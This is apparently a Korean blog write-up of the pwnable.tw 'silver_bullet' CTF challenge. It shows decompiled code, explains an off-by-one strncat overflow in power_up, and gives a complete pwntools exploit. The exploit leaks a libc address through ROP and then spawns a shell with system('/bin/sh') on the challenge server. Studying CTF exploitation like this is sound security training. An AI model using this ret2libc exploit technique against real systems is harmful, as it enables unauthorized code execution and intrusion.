본문 바로가기

CTF/Pwnable.tw

Pwnable.tw pwnable_silver_bullet Write up

일단 이문제 디버깅 자체는 쉽다. 아마 전에 푼것보다 쉬운거같다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int Input; // eax
  int v5; // [esp+0h] [ebp-3Ch]
  const char *v6; // [esp+4h] [ebp-38h]
  char s; // [esp+8h] [ebp-34h]
  int v8; // [esp+38h] [ebp-4h]

  init_proc();
  v8 = 0;
  memset(&s, 0, 0x30u);
  v5 = 0x7FFFFFFF;
  v6 = "Gin";
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          menu(v5, v6);
          Input = read_int();
          if ( Input != 2 )
            break;
          power_up(&s);
        }
        if ( Input > 2 )
          break;
        if ( Input != 1 )
          goto LABEL_16;
        create_bullet(&s);
      }
      if ( Input == 3 )
        break;
      if ( Input == 4 )
      {
        puts("Don't give up !");
        exit(0);
      }
LABEL_16:
      puts("Invalid choice");
    }
    if ( beat(&s, &v5) )
      return 0;
    puts("Give me more power !!");
  }
}

구조는 이런식으로 되있다. create_bullet으로 bullet 을 만들고 일정 이상을 만든다음에 beat를 해서 악마?를 무찌르는 형식이다.

 

그런데 이때 power_up이란게 존재하는데, 여기서 취약점이 발생한다.

int __cdecl power_up(char *Bullet)
{
  char upgrade_bullet_input; // [esp+0h] [ebp-34h]
  size_t bullet_power; // [esp+30h] [ebp-4h]

  bullet_power = 0;
  memset(&upgrade_bullet_input, 0, 0x30u);
  if ( !*Bullet )
    return puts("You need create the bullet first !");
  if ( *(Bullet + 12) > 47u )
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(&upgrade_bullet_input, 48 - *(Bullet + 12));
  strncat(Bullet, &upgrade_bullet_input, 48 - *(Bullet + 12));// vuln
  bullet_power = strlen(&upgrade_bullet_input) + *(Bullet + 12);
  printf("Your new power is : %u\n", bullet_power);
  *(Bullet + 12) = bullet_power;
  return puts("Enjoy it !");
}

여기에서 봤듯이 47이상을 받으면 더이상 할수 없다고한다.

그런데 이때 strncat에서 문자열을 합쳐주고있다.

strncat 를 호출할때는 뒤에 NULL값이 들어가기때문에 변수-1 을 해줘야한다. 하지만 여기서는 그런짓을 하지 않는다. 즉 뒤에있는 변수가 덮일수 있다는것이다.

 

뒤에있는 bullet_power가 덮어지게된다. 이후에 bullet_power는 기존에 있던  문자열에 개수로 업데이트된다.

그래서 변조가 됬으므로 이제 뒤에 마음껏 붙이는게 가능해진다.

 

from pwn import *

#p = process("./silver_bullet")
p = remote("chall.pwnable.tw",10103)
binf = ELF("./silver_bullet")

addr_main = 0x8048954
addr_puts_plt = 0x080484A8
addr_puts_got = 0x0804AFDC
addr_pr = 0x08048a7b

def create_bullet(data):
    p.recvuntil("Your choice :")
    p.sendline("1")
    p.recvuntil("bullet :")
    p.sendline(data)

def power_up(data):
    p.recvuntil("Your choice :")
    p.sendline("2")
    p.recvuntil("bullet :")
    p.sendline(data)

def beat():
    p.recvuntil("Your choice :")
    p.sendline("3")

create_bullet("A"*47)
power_up("A")

payload = "A"*7
payload += p32(addr_puts_plt)
payload += p32(addr_pr)
payload += p32(addr_puts_got)
payload += p32(addr_main)

power_up(payload)

beat()
beat()

p.recvuntil("Oh ! You win !!\n")

addr_leak = u32(p.recv(4))
addr_libc_base = addr_leak - 389440
addr_system = addr_libc_base + 239936
addr_binsh = addr_libc_base + 1412747
success(hex(addr_leak))
success(hex(addr_libc_base))
success(hex(addr_system))
success(hex(addr_binsh))

create_bullet("A"*47)
power_up("A")

payload = "A"*7
payload += p32(addr_system)
#payload += p32(addr_pr)
payload += "A"*4
payload += p32(addr_binsh)

power_up(payload)

beat()
beat()


p.interactive()

그래서 뒤에는 ROP로 해주면된다

'CTF > Pwnable.tw' 카테고리의 다른 글

Pwnable.tw pwnable_dubblesort Write up  (0) 2019.11.04
Pwnable.tw pwnable_3x17 Write up  (0) 2019.11.04
Pwnable.tw pwnable_start Write up  (0) 2019.11.02